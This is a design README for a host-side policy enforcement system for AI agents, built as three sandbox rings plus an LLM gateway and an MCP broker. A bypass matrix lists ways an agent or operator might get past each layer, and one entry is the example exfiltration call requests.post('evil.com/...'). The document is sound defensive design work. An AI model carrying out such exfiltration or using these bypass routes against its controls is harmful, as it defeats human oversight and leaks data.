Skip to content

Q9 — How do we enforce policy on the host?

Q9 — How do we enforce policy on the host?

Section titled “Q9 — How do we enforce policy on the host?”

The 5 enforcement positions: 3 rings + 2 cross-cutting layers. Per ADR 0001 and governed-agents.md §9. One Compiled Policy is rendered into native config for each position by a per-target Provider. Bypassing any one position still hits the next.

This folder holds one component file per ring (with two pointers for the cross-cutting layers, since the MCP Broker delegates its content to q03-interactions-we-govern/). Read this README first to understand the model; then dive into the individual files for what each position is responsible for.

A single chokepoint catches a single class of bypass. Defense in depth catches different classes at different positions — even when an attacker compromises the upper positions, the lower ones still hold.

LLM compromised? ──────────┐
▼ stopped at LLM Gateway
Tool call hallucinated? ──────┐
▼ stopped at MCP Broker
Agent runs code? ───────────┐
▼ stopped at Interpreter ring
+ Kernel ring egress
Harness profile patched? ──────┐
▼ stopped at Kernel ring
All upper positions compromised? ────┐
▼ Kernel ring egress allowlist
blocks the network call entirely

Pitch: we don't trust the agent to call us correctly — we make it physically impossible to call anyone else.

The 5 enforcement positions — 3 rings + 2 cross-cutting layers

Section titled “The 5 enforcement positions — 3 rings + 2 cross-cutting layers”

Three rings sit inside the agent's process. Each ring's enforcement depends on what the surrounding sandbox supports.

RingPlain-English nameWhat it isolatesStatus
Ring 1 — HarnessAgent runtime configWhat the agent's framework will attempt (PreToolUse hooks, allow/deny lists)concept — ring-harness.md
Ring 2 — KernelOS sandbox rulesWhat the agent's process can touch (filesystem, network egress, syscalls, credentials)concept — ring-kernel.md
Ring 3 — InterpreterCode execution rulesWhat code the agent writes can do (imports, binaries, executor network)concept — ring-interpreter.md

Two cross-cutting layers sit between processes. Always compulsory, always reachable, no runtime-specific cooperation needed.

Cross-cutting layerWhat it isolatesStatus
LLM GatewayEvery prompt + completion (PII / secret / exfil / no-train / budget / capability scope)shipped (tappass/gateway/) — see cross-cutting-llm-gateway.md
MCP BrokerEvery tool call (outbound + inbound) at the MCP wire format — schema ACLs, capability tokens, loop guardpartial — see cross-cutting-mcp-broker.md (components live in q03-interactions-we-govern/)

The bypass matrix — which position catches what

Section titled “The bypass matrix — which position catches what”
Bypass attemptPosition that catches it
LLM hallucinates a forbidden tool callLLM Gateway — capability token rejects the emission before it leaves the proxy
LLM emits something the gateway missedMCP Broker — pipeline rejects on tool args at the broker
Agent code tries requests.post("evil.com/...") directlyInterpreter ring (denied import) and Kernel ring (egress denied)
Operator runs the agent without applying the harness profileHarness ring — runtime refuses to start under enforced policies
Operator patches the harness to bypass its hookKernel ring — egress allowlist still blocks anything not *.tappass.ai

All five positions are renderings of one Compiled Policy through per-target Providers. The Compiled Policy is organized by aspect (network / filesystem / tools / interpreter / budget / compliance) per ADR 0003; each provider chooses which aspects it consumes.

Operator authors Policy
Policy compiler (Q10 component) — emits Compiled Policy by aspect
Compiled Policy: a single canonical artifact (network / filesystem / tools / interpreter / budget / compliance_tags)
Live policy push channel (Q12 component)
Host runtime CLI receives, runs each provider's apply path:
• Kernel-ring provider (openshell / nono / sandbox-exec) → kernel rules
• Harness-ring provider (claude-code / codex / cursor / …) → settings.json (or equivalent)
• Interpreter-ring provider (monty / v8-isolate) → executor profile
• mcp-broker provider → broker config + capability tokens
• llm-gateway-* provider → gateway base_url + capability tokens (shipped)

Each ring's component file in this folder describes the applier — what tappass-host does to that ring when a new Compiled Policy arrives.

  • ring-kernel.md — Network egress allowlist, Landlock filesystem rules, credential hiding. The deepest ring; nothing escapes it.
  • ring-harness.md — Settings-file-style config that the agent's runtime obeys (Claude Code-style settings.json hooks, allow/deny lists).
  • ring-interpreter.md — Allowed/denied imports, executor network, restricted binaries when the agent runs code.
  • cross-cutting-mcp-broker.md — Pointer file. The MCP Broker's enforcement components live in q03-interactions-we-govern/.
  • cross-cutting-llm-gateway.md — Pointer file. The LLM Gateway is shipped today as tappass/gateway/; this file documents how it consumes the Compiled Policy.

All three ring-applier components share a single owner (platform) in this concept and depend on the host runtime CLI (q14-three-clis/host-runtime-cli.md) — the host CLI is what actually invokes each ring's applier in sequence at sandbox start (and on every sync push). The cross-cutting providers (mcp-broker, llm-gateway-*) run server-side and apply differently — token rotation rather than file rewrite.

Subagents owning different rings should coordinate on:

  • The shape of the Compiled Policy (defined by the policy-to-sandbox-config-builder)
  • The order of ring application at sandbox start (kernel → interpreter → harness; cross-cutting layers apply server-side and are independent)
  • Failure semantics when one ring fails to apply (lean: fail-closed; sandbox does not start)
  • The Policy authoring itself (Q4) — we receive a derived Compiled Policy; we don't choose what's in it.
  • The transport that delivers updates (Q12) — we apply what arrives; we don't fetch.
  • The privilege boundary between host and agent (Q13) — we run as the privileged daemon; the agent runs unprivileged. That's an architectural property, not a per-ring concern.